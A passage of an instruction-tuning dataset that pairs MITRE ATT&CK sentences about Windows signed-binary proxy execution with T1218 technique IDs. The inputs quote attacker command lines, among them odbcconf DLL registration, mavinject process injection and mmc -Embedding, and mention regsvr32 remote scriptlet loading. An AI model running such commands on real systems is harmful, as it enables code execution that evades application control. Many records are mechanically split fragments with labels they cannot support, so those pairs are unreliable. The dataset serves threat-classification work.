Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns)", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\\path\\to\\test.msc</code>.(Citation: abusing_com_reg)", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\\path\\to\\test.msc</code>.(Citation: abusing_com_reg) ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads.", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe)", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Odbcconf.exe binary may be digitally signed by Microsoft.", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Odbcconf.exe binary may be digitally signed by Microsoft. ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse.", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/A", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /A ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "&lbrace;REGSVR", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: &lbrace;REGSVR ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "\"C:\\Users\\Public\\file.dll\"&rbrace;</code>).", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: \"C:\\Users\\Public\\file.dll\"&rbrace;</code>). ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation:", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TrendMicro Cobalt Group Nov 2017)", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TrendMicro Cobalt Group Nov 2017) ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse verclsid.exe to proxy execution of malicious code.", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse verclsid.exe to proxy execution of malicious code. ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe) ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse verclsid.exe to execute malicious payloads.", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse verclsid.exe to execute malicious payloads. ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be achieved by running <code>verclsid.exe /S /C", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be achieved by running <code>verclsid.exe /S /C ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "{CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects.", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)).", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation:", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation:", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Nick Tyrer GitHub)", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Nick Tyrer GitHub) ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse mavinject.exe to proxy execution of malicious code.", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse mavinject.exe to proxy execution of malicious code. ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject) ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\\Windows\\system32\\mavinject.exe", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\\Windows\\system32\\mavinject.exe ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PID /INJECTRUNNING", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PID /INJECTRUNNING ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject)", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its  <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>).", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its  <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed) ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse control.exe to proxy execution of malicious payloads.", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse control.exe to proxy execution of malicious payloads. ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings. ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code>", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014)", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL)", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: TrendMicro CPL Malware Jan 2014)(Citation:", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: TrendMicro CPL Malware Jan 2014)(Citation: ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation:", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017)", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists. ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls</code>.", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls</code>. ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed.", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020) ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code.", "output": "T1218.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. ### Response: T1218.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CHM files are commonly distributed as part of the Microsoft HTML Help system.", "output": "T1218.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM files are commonly distributed as part of the Microsoft HTML Help system. ### Response: T1218.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018)", "output": "T1218.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) ### Response: T1218.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe).", "output": "T1218.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). ### Response: T1218.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1218.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1218.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe.", "output": "T1218.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. ### Response: T1218.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", "output": "T1218.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017) ### Response: T1218.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Regsvr32.exe binary may also be signed by Microsoft.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Regsvr32.exe binary may also be signed by Microsoft. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method makes no changes to the Registry as the COM object is not actually registered, only executed.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method makes no changes to the Registry as the COM object is not actually registered, only executed. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Regsvr32)", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Regsvr32) ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments.", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015).", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Squiblydoo Apr 2016)", "output": "T1218.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Squiblydoo Apr 2016) ### Response: T1218.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility.", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN InstallUtil)", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN InstallUtil) ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft. ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NET\\Framework64\\v<version>\\InstallUtil.exe</code>.", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NET\\Framework64\\v<version>\\InstallUtil.exe</code>. ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System. ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ComponentModel.", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ComponentModel. ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RunInstaller(true)]</code>.", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RunInstaller(true)]</code>. ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Installutil)", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Installutil) ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse rundll32.exe to proxy execution of malicious 